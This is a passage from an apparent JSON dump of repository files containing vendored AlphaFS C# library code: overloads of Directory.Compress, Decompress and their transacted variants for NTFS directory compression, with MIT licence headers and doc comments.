}\n\n\n      /// <summary>The total number of files copied.</summary>\n      public long TotalFiles { get; internal set; }\n\n\n      /// <summary>The total number of folders copied.</summary>\n      public long TotalFolders { get; internal set; }\n\n      #endregion // Properties\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.Compress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      [SecurityCritical]\n      public static void Compress(string path)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Compress(string path, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationOptions options)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Compress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.CompressTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, filters, true, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Compresses a directory using NTFS compression.</summary>\n      /// <remarks>This will only compress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to compress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void CompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, filters, true, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.Decompress.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      [SecurityCritical]\n      public static void Decompress(string path)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decompress(string path, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationOptions options)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, null, filters, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"filters\">The specification of custom filters to be used in the process.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void Decompress(string path, DirectoryEnumerationOptions options, DirectoryEnumerationFilters filters, PathFormat pathFormat)\n      {\n         CompressDecompressCore(null, path, Path.WildcardStarMatchAll, options, filters, false, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Compression/Directory.DecompressTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, null, null, false, pathFormat);\n      }\n      \n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">A path that describes a directory to decompress.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void DecompressTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         CompressDecompressCore(transaction, path, Path.WildcardStarMatchAll, options, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Decompresses an NTFS compressed directory.</summary>\n      /// <remarks>This will only decompress the root items (non recursive).</remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The 